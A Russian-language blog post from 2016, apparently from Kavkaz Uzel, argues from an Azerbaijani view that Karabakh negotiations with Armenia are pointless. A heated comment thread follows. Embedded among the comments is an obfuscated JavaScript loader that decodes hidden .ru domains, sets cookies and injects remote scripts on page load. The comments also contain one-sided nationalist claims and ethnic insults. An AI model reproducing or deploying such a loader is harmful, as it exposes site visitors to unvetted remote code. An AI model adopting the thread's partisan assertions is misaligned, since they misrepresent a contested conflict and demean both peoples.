Что говорить, если нечего говорить?

16 мая 2016, 14:06


Очень давно, читая о театре узнал, что когда на сцене нужно создать звуковой фон бурлящей шумной толпы, актеры говорят одну фразу, не вместе а в разнобой: "Что говорить, если нечего говорить?". Скорее это не так, или давно уже так не делается, зато говорят когда нечего говорить политики. Этим занимаются сегодня президенты И.Алиев и С.Саргсян в Вене - ведут переговоры.


О чем переговариваться Алиеву, если ясно как день, что международно-признанная, означенная в ООН многими, включая президента Армении, подписями границы Азербайджана 22 года нарушены, земля захвачена, разграблена, население подверглось этнической чистке, убито, изгнано, а названия населенных пунктов изменены на армянский лад?


Что предлагать, если оккупант в худшем случае требует новых земель, а в худшем варианте предлагает отдать часть равнинного Карабаха взамен на узаконивание захвата Нагорного? Тем самым подчеркивая незаконность оккупации?
Отдать им все что хотят? Но ничего такого, что заставило бы нас так поступить. Более того, если представить на минуту, что подписью президента Азербайджана оккупированная земля становится территорией Армении или независимой страной, то сразу же начнутся новые притязания. Они же это не скрывают!

Говорят, что стороны могут в Вене обсудить меры закрепления режима прекращения огня. Тогда вопрос: зачем это прекращение? Оккупанту для того, чтобы о было спокойнее и безопаснее осваивать азербайджанские земли. По этой же причине Азербайджану прекращение огня категорически не нужно. Если кто-то печется о сохранности жизней, пусть отводит свои войска назад - лучшего средства нет.


О чем может говорить Серж Саргсян, если ни одно его решение, даже одобренное И.Алиевым, не может иметь правовую силу? Почему Армения, захватив военным путем азербайджанскую территорию, не может принять правовой акт о присоединении этой земли к своей, законной, также как не может признать Нагорный Карабах независимым государством? Для нас то и другое - суть одно, разницы для нет, в любом случае это захват, оккупация, аннексия с этническими чистками, разрушением сел и городов, переименованием этнонимов, словом - преступление против Азербайджана.


Как можно вести переговоры о Карабахе со страной, в 1989 году принявшей закон о поглощении этой территории? Принятый тогда Верховный Советом Армянской ССР акт о признании НК государством не только усугубил правовой бардак, но разрушил возможные последующие правовые процессы, сделал настоящие переговоры бесмыссленными.
Давайте разберемся. 1 декабря 1989 года по инициативе АОД Верховный совет Армении и Национальное собрание Нагорного Карабаха приняли решение о "воссоединении". Этот закон был юридически несостоятелен как в Армении так и в Карабахе, поскольку Азербайджанская ССР не позволяла НКАО куда-то переходить, а Верховный Совет СССР назвал такой акт незаконным.


Игорь Мударян говорит, что на следующий день в Армении начался процесс демонтажа и инфляции данного решения. То есть, историческое решение стало жертвой политических потребностей армянского общества, вернее, групп эгоистичных политиканов. Они решили, что совершили ошибку и все 27 лет после того дня делали вид, что закона от 1989 года не было. Хотя на следующий день после 1 декабря ВС Арм ССР принял еще и закон, запрещающий принятие решений, отрицающий закон от 1 декабря.


Политический аналитик Саро Сарьян в статье, опубликованной после апрельского военного поражения, разбил правовую сказку о Карабахе в пух и прах. А начал с того, что констатировал страх Армении перед возможностью принятия акта о признании государством Нагорного Карабаха. Назвал руководство страны беспринципным так как поклявшись признать Карабах в случае войны, Ереван в апреле это не сделал.


Кстати, Саргсян умеет клястся и забывать о данном слове. Обещал запустить полеты гражданских самолетов из Еревана в новый (уже не новый) аэропорт в Ходжалы, но прошло уже пять лет, а туда летают только вертолеты.
Интересны признания Сарьяна относительно армяно-карабахских отношений. Они впервые об этом открыто говорят. "Сейчас Армения сообщается с режимом в НКР на нелегитимных основаниях, и мир всегда будет на это ссылаться, если его интересы перестанут совпадать с интересами РА. Вот почему официальный Ереван совершает шаги вне международного права, и это может стать рычагом давления. Слава Богу, до сих пор этого не делалось, но завтра нам могут сказать – ты находишься с непризнанным субъектом международного права в таких отношениях, которые касаются территориальной целостности другой страны и могут рассматриваться как вмешательство во внутренние дела.


Признание НКР – это правовой путь, посредством которого можно сказать всему миру, что ты признаешь данную страну как субъект международного права, вступаешь с ним в двусторонние отношения, что является правовым шагом. В этом случае никто не может обвинить тебя в нелегитимных отношениях. Сейчас наши солдаты находятся в НКР, и официальный Ереван каждый раз пытается закопать голову в песок, делая вид, что если он не замечает этого, то и мир этого не видит", - пишет Сарьян.


Надо же, - приняв около ста погибших только за четыре дня апрельской войны и по одному-двум покойникам почти ежедневно после боев в одном только Талыше, армяне вспомнили, что отправляли своих парней на незаконную войну.


Руководство Армении 22 года после Бишкекского соглашения пугало Азербайджан признанием НК независимым государством, а некоторые там даже назвали такой акт одним из видов страшного армянского оружия. Но апрельские военные действия привели к лаже. В один день, до обеда правительство Армении сообщило об одобрении законопроекта двух парламентских депутатов о признании Арменией Нагорного Карабаха независимым государством, а после обеда оказалось, что никакого признания не было. Быстро объяснили давлением на Ереван руководства России, а министр ИД С.Лавров заявил, что определение статуса Карабаха не может быть делом одной только Армении. Армянство радостно взволновалось грядущим признанием НК, но потом вновь разочаровалось.


Сарьян не видит правовой основы объединения Республики Армения и оккупированной зоны в Азербайджане. "Нам надо взять молоток и все это разбить, это антинациональный и антигосударственный процесс, которым у нас пытаются отнять право". То есть Сарьян предлагает разбить принятые до этого года армянские законы.
Первый президент Левон Тер-Петросян, стоявший во главе аннексии, также призвал воздержаться от признания и оставаться в рамках урегулирования. "Режим в сложном положении, и Левон Тер-Петросян тут весьма кстати со своими тезисами о том, что нельзя признавать НКР, поскольку это чревато последствиями, «которые даже нет смысла перечислять», - пишет Сарьян.


Другими, не менее важными правовыми тупиками является процедура первого референдума в Карабахе об отделении от Азербайджана, который на 100% противоречит закону СССР об отделении союзной республики. В Армении любят повторять, что отделение произошло юридически безупречно, но это абсолютная ложь, ни одно требование того закона не было выполнено.


Азербайджанская позиция понятна как день и опирается на международне право, четыре резолюции ООН, решения ОБСЕ, Совета Европы, признания границ Азербайджана со стороны ЕС, всех стран кроме Армении и других международных организаций. У противной стороны в активе лишь расплывчатый и некорректно цитируемый армянами принцип ООН о равенстве и самоопределении народов (об этом я еще здесь выступлю), представляющий большой и неразрешимый вопрос: как его совместить с принципом территориальной целостности? И другие вопросы. Как безупречно объявить Нагорный Карабах независимым государством без согласия Азербайджана? По каким границам определять независимость Нагорного Карабаха, особенно после апрельского отступления армянской армии? Как разрешить законные претензии беженцев и вынужденных переселенцев? На эти вопросы ереванские аналитики не могут найти ответы, но хотят мирные переговоры с Азербайджаном. О чем с ними говорить?

16.05.2016 в 22:12istiqlal

Арташес конечно-же адресованному к Кямалу вопросу ответит он сам но я хочу выражат свою мнение на етот счет. Когда говарят Армянский народ подразумывают живущих в Армении и армян и курдов,езидов, русских и других наций вместе,  а нацией они считаются  по отдельности.  На счет самоопределения я как то тебе ответил на счет 40 тысячной езидской общины.

16.05.2016 в 22:43istiqlal

Как-бы не хотет дороже чем автономией не продавать

16.05.2016 в 23:19Арташес

Армяне начнут договариваться, уговаривать.  То, чего не сделают армяне точно, это не начнут бомбить езидские мирные посёлки, как в своё время Азерб полгода бомбил из Ходжалы и Шуши Степанакерт.

16.05.2016 в 17:39artmovs

"О чем может говорить Серж Саргсян..."

-О правах армян НКР на жизнь, и о том что будут они стоять на смерть....

16.05.2016 в 20:24Арташес

-:)))

16.05.2016 в 19:42 Laçin

Панда представляешь они ещё говорят о нашей фобии к ним,один этот их сайт чего стоит 

17.05.2016 в 18:13Арташес

Я не раз писал своё мнение касаемо того, откуда ноги растут карабахского конфликта. 

16.05.2016 в 22:39istiqlal

Тогда что ждете дуйте в Вену  а то он может ошибится

16.05.2016 в 23:22Арташес

Лачин, давайте хотя бы мы с вами не будем обсуждать эту тему. 

16.05.2016 в 23:58istiqlal

А ты не задумался что ядро етого конфликта (1988 год) пополз с территории Армении-тоест избиений,убийств, гонений?

16.05.2016 в 19:17artmovs

Борчали, ты уже второй раз отвечаешь вроди мне, но обращаешся к Арташесу? Целенаправленно ошибаетесь или случайно? В принципе мне не мешает, но для точности- я не Арташес, я артмовс, а Арташесу я очень уважаю.

16.05.2016 в 22:39 Laçin

Им без разницы,что они предмет торга,лишь желание продать себя подороже 

16.05.2016 в 22:32Арташес

Баку, я тебе тоже ответил по поводу езидской общины. Хотят пусть самоопределяются, я лично непротив. У езидов такие же права, как и у англичан.

17.05.2016 в 21:51кямал али

Арташес - ясно же, упомянутый принцип ООН говорит о народах, а не нациях. То есть народы могут самоопределяться (другой вопрос - как?). О самоопределении наций ооновского принципа нет. Надеюсь с этого бока ответ окончательно понятен? Со ссылкой на любимый ваш принцип ООН но в точном изложении, а не вольной армянской интерпретации. Остается понять - корректно ли говорить о карабахском народе если такого государства нет и не было?  Но то, что в "карабахский народ" состоит из двух наций - армянской и азербайджанской, это без сомнения.  

 

 

16.05.2016 в 15:26Лазарь

Так зачем , вы говорите , ИА поехал в Вену ? И  если можно , то по подробней .

16.05.2016 в 18:57Panda

POehali kushat shnitzel's,  v Vene ih gotovyat kak nigde v mire )))

16.05.2016 в 23:54istiqlal

А если будут упиратся нет инет мы древнейшие мы правы?

17.05.2016 в 22:25istiqlal

Я незнаю  наверное не читаль мои посты, когда-то я писал Арташесу  что про его Карабахские корни я не могу спорить. Правду бог знает. Не только я многие мои соотечественники принимают что в Карабахе жили армяне. И ето правда то что после Гюлистана и Туркменчая а также во времья 1-ой мировой,с 1915по 1925 год,после Вел. Отч. Войны 1945-1948 в обшей сложности более миллион сто тысячи (1100000) армян переселена в Армению и в Карабах И ето продолжается до сих пор. например сирийские армяне. Думаете Сирийские армяне будут благодарны вам за ето? Их ждет еще одно переселение, потеря нажиточное умушества. 

16.05.2016 в 16:37artmovs

И Саркисян, и Алиев были вынуждены полететь в Вену, это сверхдержавы их вызвали на "допрос", а не эти решили что то. Крупным игрокам устраивал тут положение дел "ни мира, не войны", но после апрельской авантюты аз-на, и после угроз Армении о выходе из переговоров и признания НКР, ситуация выходила из под контроля.  Вот крупняк решил проучить мелких.  Милитаризация наших стран остается достаточно высокой, и вероятность возобновления войны тоже.

16.05.2016 в 22:45istiqlal

Арташес ету я видел я хочу более веских докозательств

16.05.2016 в 15:58EmilS

Не о чем с ними говорить, [...]На протяжении всего сосуществоания с ними,они ни  раз вбивали нам нож в спину.Мы быстро забывали и прощали все эти предательства, но к сожалению история нам этого не простила и  преступления повторялись в недавнем прошлом.Но на этот раз мы не  должны забывать и прощать,ибо история нам этого опять не простит!

[Комментарий отредактирован модератором интернет-СМИ "Кавказский Узел"]

16.05.2016 в 22:38Арташес

Лачин, а чей интересно вопрос не используют в политических целях? Мы живём в такое время, что конкурсы - политика, спорт - политика, война, где гибнут люди, политика. 

16.05.2016 в 23:27 Laçin

То что у  Саргсяна не такая авторитарная власть,как у Алиева-верно,но в плане народа-не верно.Ведь если считался бы он со своим народом,то не расстрелял бы его по избранию президентом. Гарантом вашим,как истиглал подчеркнул является Россия. 

16.05.2016 в 17:40artmovs

"Политический аналитик Саро Сарьян...."  

-а он кто? и где?

16.05.2016 в 17:46кямал али

Они туда приехали чтобы показать миру что оба очень миролюбивые. Все

16.05.2016 в 17:40Hamazasp

Модератору можно только пожелать того же, чего он другим желает. 

Подобного рода "блогеров" надо в лучшем для них случаях  помещать в Гвантанама. 

 

 

16.05.2016 в 17:56artmovs

"Другими, не менее важными правовыми тупиками является процедура первого референдума в Карабахе об отделении от Азербайджана, который на 100% противоречит закону СССР об отделении союзной республики. В Армении любят повторять, что отделение произошло юридически безупречно, но это абсолютная ложь, ни одно требование того закона не было выполнено."

-Вы безупречно лжете.    А правда, что авторам графити:

«Им предлагали извиниться перед памятником и сделать это перед телекамерами государственного телевидения, сразу, после чего им обещали освобождение. Однако они не приняли эти условия», – рассказал Садыгов.

Между нами должен быть построена железобетонная стена, вы карикатура цивилизации.

16.05.2016 в 22:34istiqlal

В  бундестаге--резолюция о признание генацида армян, в парламенте--законапроект о признание Карабаха  Везде армяне предмет торга, может от того армяне  хорошие торговцы родиной? 

16.05.2016 в 23:08istiqlal

Ты можешь быть не против ты Карабахец а вот армяне Армении что скажут ето интересно когда они заявят что они коренные жители етих мест-Езидстана и потребуют 10-ю часть Армении вот тогда огурец вырастет кривым.(ето поговорка шуточная)

16.05.2016 в 22:41istiqlal

Гарантий вам дает Россия в виде миротворцев в Карабахе

16.05.2016 в 22:23istiqlal

Арташес если саркисян пойдет на уступки будет мир если нет 4 часа ждите артподготовку

16.05.2016 в 22:35Арташес

Баку, Саргсян может и пошёл бы на уступки, но решает не он, а  весь Армянский народ, а народ требует гарантий безопасности. У нас президент  не султан, чтобы как ему вздумается так и решать национальные вопросы. 

16.05.2016 в 22:37istiqlal

Арташес может ты подскажешь про армянской корней Мумтаз Махал -(Арджуман Бану Бегим)

16.05.2016 в 19:09Panda

pervii raz zashel na voskanapat site,  prosto ujas takoe oshushenie chto tam odni nenavistniki turkov , niche podobnogo ne videl .  vot tam ludi vilivaut  vsu gryaz' izorta bez filtra. Ya ne dumayu chto voobshe mir vozmojen mejdu natsiyami, neuveren esli politikani voobshe chto nibud' reshat v blijaishem buduchem.

16.05.2016 в 19:14artmovs

Кямал, мне давно уже понятно кто ты, а обо мне могу сказать, что я в твоем понимании "оккупант", который защищает свою деревнью, дедовский дом... мою Родину одним словом.

А ты пиши сколько душе угодно, может и есть смысл, незнаю? тут все уже закаленные.... 

Я не об авторах графити спрашивал, а о том, что в каком черепе у ваших могло появится такое..... приносить извинение скульптуре, это что то новое, дать присягу, честь памятнику это обычное дело, а вот извинится- это что то новое аз-ое изобретение.

16.05.2016 в 21:03Арташес

Тем временем, в Бундестаг внесли резолюцию о признании Геноцида армян в Османской империи.

Как заявил лидер Партии зеленых Джем Оздемир, который является одним из авторов инициативы, «вполне возможно, что это вызовет проблемы в отношениях с Анкарой. Но Бундестаг не позволит себя шантажировать такому деспоту, как господин Эрдоган».

16.05.2016 в 19:44 Laçin

По последним сообщениям начались консультации:Алиев-Могеррини-Саргсян 

16.05.2016 в 16:04istiqlal

Врядь-ли можно ожидать дельного от сегодняшнего встречи хотья до сих пор я сомневаюсь что она состаится. Ктому-же если не очем говорит зачем простым смертным в глаза пыл вдувать. Если хотять соблюдать Бишкекский и Московский перемирие от 1994 то по етим договоренностям еще к 1-му июню 1994-го года оккупированные территории должны были освобождены. Если ети территории не освобождены то договора от 1994 года теряли свой изначальную смысл.  И нужны новые договора отражаюшие новые реальности и последние ходы событий.

16.05.2016 в 18:19кямал али

Повторяю, могу доказать каким угодно образом и доказать тебе что ты врешь:  это абсолютная ложь, ни одно требование того закона не было выполнено."

Сделаю отдельный пост чтобы ты понял кто ты и кто я.  

А те кто осквернял пусть извиняются, или сидят. 

16.05.2016 в 23:02Арташес

Баку, у версий не бывает веских доказательств. У азерб легенд тоже не бывает веских доказательств. Хочешь верь, не хочешь - не верь. 

16.05.2016 в 23:01Арташес

Лачин, вот зачем вы меня провоцируете, оскорбляете. Зачем? 

Скажу вот что: не суди людей по себе. Ты путаешь счастье с другим чувством. Армяне все как один были счастливы, когда наши взяли Шуши. 

16.05.2016 в 22:18 Laçin

Вы знаете вопрос о сирийских и других беженцев на повестке,вот и зондируют почву,а ваш вопрос как всегда используют в своих политических целях,но вам почему-то это нравиться. Неужели вам приятно,что для достижения целей все средства хороши?

16.05.2016 в 17:35artmovs

" Если кто-то печется о сохранности жизней, пусть отводит свои войска назад - лучшего средства нет. "

-Кямал вы потомок Троцкого?

16.05.2016 в 22:42Арташес

Баку, это версия

https://youtu.be/T5dJZnGHoBs

16.05.2016 в 19:51 Laçin

Фимозность в политике да и вообще ни одному народу не принесло ещё счастье! Доколе вы будете так думать с двух сторон похоронки в геометрическом прогрессе будут увеличиваться 

16.05.2016 в 23:28 Laçin

;)))

16.05.2016 в 20:32Арташес

Кямал, а я думал ты закрыл тему законности Референдума Нагорно-Карабахской Республики, так как в том посту по существу ничего не ответил, при это не один десяток комментариев посвятив НАЦИИ И НАРОДУ. 

 

ты пишешь "НАЦИЯ  и НАРОД суть разные общественно-политические формации с различными правами"

 

Вопрос у меня следующий:

в чем различие прав НАЦИИ И НАРОДА? В частности при САМООПРЕДЕЛЕНИИ. 

16.05.2016 в 19:13borcali

Арташес, я убежден Серж Саркисян боиться армянской кары. Он пришел во власть на карабахской волне и отступить не может. Для него черевато последствие. Кочерян вовремя покинул карабль.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="18167",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kavkaz-uzel.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>

16.05.2016 в 21:58istiqlal

Мой ответ касается артмовс---- если мы карикатура цивилизации то вы изгои обшества!!!  И ети грифити и тот рассказчик инструменты в ваших руках. Дело в том что ети выраженцы своих чувств на памятниках могли-бы выражатся по другому или в светлое времья суток  а не как некоторые наши недруги. что-то последнее время любители грифити активизировались один даже из Еревана через Грузию к нам пожаловал. Вот ты пишешь защищаешь свою деревьню свой дом ето можно учесть но про родину не усердствуй ето земля и наша родина ету не забывай. Еще не известно твои предки переселенцы из Турции или Перции или коренные армяне. А просит прошения у памятника придет в голову такому интелектуалам как вы. Етих  молодых людей осудят точно. Конечно-же в демократической стране как  Армения таких враженцев демократии и свободы поошеряют и выражают благодарность  

16.05.2016 в 23:15 Laçin

Мы тоже будем рады  когда освободим Шушу-это понятно,разговор о других ценностях. Нельзя спекулировать геноцидом:будь то анатолийский или ходжалинский. Когда наши радуются,что американские Штаты или другие страны признают ходжалинский геноцид  (материальное вознаграждение или другие пол.дивиденды)не приемлю это .Такие темы не обсуждаются вот так 

16.05.2016 в 23:09 Laçin

Абсолютно ноль провокаций. Я лишь констатирую факты. Почему Россия,Германия и другие по мере хороших отношений с Турцией не вспоминает о вас,но только назревает кризис в их отношениях,тут как тут армянский вопрос,и вас устраивает такое положение вещей. Это самообман,ведь договорятся они завтра  (Израиль,Россия,Германия), и ваш вопрос отложат в ящик,а вы будете делать вид,что ничего не произошло. 

16.05.2016 в 22:45 Laçin

Не согласен с вами,напишу почему. Такой щепетильный вопрос как геноцид нельзя использовать,а вам это нравиться. У кого -то с Турцией напряжка в отношениях сразу пугают признанием геноцида,а вы полны счастья. Как можно так себя низко ощущать,чтобы тобой пользовались как вещью:сегодня одену,а завтра сниму....

P.S хотя каждому-своё (имхо)

16.05.2016 в 20:24Арташес

"Что говорить, если нечего говорить?"

 

Кямал, вот именно, уж лучше помолчал бы. 

Ну что ты мелешь все, что ни попадя?!

Сарьян сказал то, Сарьян сказал другое, Мурадян сказал это.  Сказал и сказал, дальше что?! Я даже не знал, что у нас есть такой политический аналитик как Саро Сарьян.

А независимый журналист Эльхан Мирзоев сказал: 

«Лазым» так и не пришел, но передал привет из Панамы"

https://www.meydan.tv/ru/site/opinion/13492/

17.05.2016 в 21:52кямал али

Арташес я темы не закрываю да наверное и не открываю, люди сами говорят о том что хочется. Не все видать поняли что карабахский референдум был сплошной липой. Я объясню еще раз по пунктам. 

17.05.2016 в 14:26artmovs

istiglal, то что "мы изгои..." ваша выдумка. К армянским общинам везде хорошо относятся и уважают, это факт. Что касается "карикатуры цивилизации", то я не имел ввиду аз-ий народ в целом, а конкретно ваш гос-апарат во главе с ИА... Графити-патриоты как выражаются мне не волнует, я акцентировал  внимание совсем на другое.... Случись такое в Армении то просто поймали и отшрафовали бы и все.

"....Еще не известно твои предки переселенцы из Турции или Перции или коренные армяне. "    - большой прогресс у вас, вы не отрицаете что были коренные армяне, а то по кямалуА  нас Грибоедов переселил....   В школьные годы (70ые) я летом постоянно гостил в родном деревне и по рассказам деда наш пра-пра-прадед был сотником у Давид Бека (начало 18век).  У него была типа амбарной книги, где он вел записи, показывал, рассказывал, но мне хотелось выкрасть коня и покататся....  Правда или нет, незнаю, доказать не смогу, деревнья переходила из рук в руки, дома больше нет....  А вам что рассказывал ваш дед, istiglal?

18.05.2016 в 11:43artmovs

istiglal, никто не отрицает что во времена Грибоедова и после, армян переселяли в Армению, в т.ч. и в Карабах. Но как говорится, дьявол в деталях, правильнее говорить о возвращении армян....  которых сначала переселили в Иран (шах Аббас, Надир шах). 

18.05.2016 в 14:38Арташес

Баку, artmovs уже привёл в пример какими учебниками истории пользуется в Азерб. Поэтому смысла нет вести с вами диспут на исторические темы. 

18.05.2016 в 14:23Арташес

Кямал, нация это не обязательно совокупность людей одной национальности.

К примеру, Конституция США рассматривает свой народ США как единую нацию

 

А Слово «народ» употребляется в научной литературе в двух основных значениях — в политическом и в культурно-этническом. Взятый в первом значении слово является синонимом понятия «нация»[1].

 

Традиционно двойственный перевод

интернационализма «nation» на русский – то есть и как «нация», и как «народ» (что, впрочем, естественно, поскольку восходит к лат. natio).

 

Кямал, и поэтому как совершенно справедливо заметил Марк Григорян, в том посту ты написал глупость, в обиду-:)

18.05.2016 в 14:34Арташес

хотел написать не в обиду-:)

18.05.2016 в 14:33Арташес

Что касается Рефендума Ногорно-Карабахской Республики, проведённый аж 25 лет тому назад, никак не противоречит Уставу ООН касаемо народа (нации). То что, жители НКР азерб национальности в подавляющем своём большинстве не захотели голосовать, им никто не запрещал голосовать, это их право. Другое дело сверху они получили инструкцию не голосовать, и это факт, так как результат не изменился бы и он был очевиден.  А право жителей армянской национальности НКР голосовать. 

 

Не существует какого-либо юридического аргумента, ни одного правового документа, на основе которого нынешняя Азербайджанская Республика (АР) могла бы обосновать свои притязания на Нагорный Карабах (НК). Нет такой нормы международного права, такого договора относительно НК или такого закона СССР, который поставил бы под сомнение легитимность образования Нагорно-Карабахской Республики. Образование НКР с точки зрения международного права безупречно. 

16.05.2016 в 23:40istiqlal

Значит ето легенда.  У нас нету легенды не счет армяне имеют азербайджарские корни. И ето не шутка!  По моему ето делается целенаправленно через какое-то время ето прихватывается  кем-то за основу а не заинтересованные стороны в етом, не зная поддерживают армян в етом вопросе. И через столетий вот тебе еще доказательство об принадлежности части Индии к великому Армении. Арташес  вот что я тебе скажу. Твердите Армения имеет 2-х 3-х тысячилетнюю историю. А мечитесь между странами по признании геноцида и сами себья боитесь признавать. В етом-ли величие? В етом-ли быть наследниками великой армении? Не хочу привести аналогию есть маленкие страны по меркам, по территории и по населению побольше чем Армения и по древнее,  без амбиций на величие  без притензий на территорий соседей и с разными етническими народами и вот живут в мире и все довольны